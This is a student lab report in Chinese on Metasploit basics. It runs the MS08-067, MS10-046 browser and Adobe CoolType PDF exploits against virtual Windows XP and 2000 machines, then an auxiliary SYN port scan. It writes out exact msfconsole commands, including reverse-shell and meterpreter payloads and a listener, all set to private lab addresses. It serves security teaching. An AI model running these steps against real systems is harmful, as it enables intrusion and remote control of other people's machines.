2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

一.原理与实践说明

1.实践内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  • 一个主动攻击实践,如ms08-067; (1分)

  • 一个针对浏览器的攻击,如ms11-050;(1分)

  • 一个针对客户端的攻击,如Adobe;(1分)

  • 成功应用任何一个辅助模块。(0.5分)

2.基础问题回答

  • exploit是利用漏洞,将攻击代码传送到靶机上,并对靶机进行一系列控制操作的整个过程。
  • payload就是需要传送到靶机上的攻击代码本身。

  • encode是对攻击代码进行完善,伪装,使其能正常运行并且尽量躲避查杀

实践过程

1.Windows服务渗透攻击——MS08-067安全漏洞

实验步骤

  • 先选择靶机为windows xp sp3
  • 在kali终端中开启msfconsole。
  • 输入命令search ms08_067,会显示出找到的渗透模块,如下图所示(
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

  • 输入命令use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用
  • 输入show payloads查看攻击载荷
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

  • 使用命令set payload generic/shell_reverse_tcp设置攻击有效载荷
  • 输入命令show options显示我们需要在攻击前需要设置的数据,如下图
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

  • 输入命令set LHOST 192.168.1.108
  • 输入命令set RHOST 192.168.1.109
  • 使用命令show options再次查看payload状态。
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

  • 输入命令exploit开始攻击,但很不幸,攻击没有成功。
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

  • 我们换一下另一个虚拟机试一下,这台靶机是win2000,ip地址是192.168.1.114,这次很轻松的成功了。
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

2.浏览器渗透攻击--ms10_046(靶机WindowsXP)

实验步骤

  • 输入use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
  • 输入set payload windows/meterpreter/reverse_tcp
  • 查看要输入的参数show options
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

  • 输入set LHOST 192.168.1.108
  • 开始攻击exploit
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

  • http://192.168.1.108:80/在靶机winXP中打开
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

  • 查看会话效果如下:
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

  • 输入sessions -i 2即可选择会话,然后就攻击成功
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

3、针对Adobe Reader软件的渗透攻击——adobe_toolbutton

  • 在kali终端中开启msfconsole。
  • 输入命令use exploit/windows/fileformat/adobe_cooltype_sing,进入该漏洞模块的使用。
  • 使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷。
  • 输入命令show options显示我们需要在攻击前需要设置的数据
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

  • 输入命令

set FILENAME 20165317.pdf
set LHOST 192.168.1.108
  • 输入exploit,生成pdf文件,并可以看到pdf所在文件夹,将pdf复制到靶机里。
  • 使用命令back退出当前模块,并使用use exploit/multi/handler新建一个监听模块。
  • 使用set payload windows/meterpreter/reverse_tcp建立一个反向连接。需要输入命令set LHOST和攻击模块里的数据设置为一样的
  • 使用命令exploit开始攻击,但是失败了。
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

  • 最后发现是上一次连接没有断开导致端口被占用,重新监听得到效果如下(14)
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

4.辅助模块应用

开放端口扫描

  • 使用show auxiliary查看可以运用的辅助模块:
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

  • 使用此模块扫描端口use auxiliary/scanner/portscan/syn
  • 使用命令show options set RHOSTS 192.168.1.109(目标)set THREADS 50(线程)exploit
  • 扫描结果如下(16)
    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

实践总结与体会

由于时间和身体原因并未完成要求(和其他同学不同的操作),但是在实验的过程中确实体会到了Windows系统的漏洞很多,能被利用的也很多

离实战还缺些什么技术或步骤?

我觉得最大的问题是如何找到并利用新的漏洞。

上一篇:Jmeter RMI 反序列化命令执行漏洞(CVE-2018-1297)


下一篇:【技术分享】基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析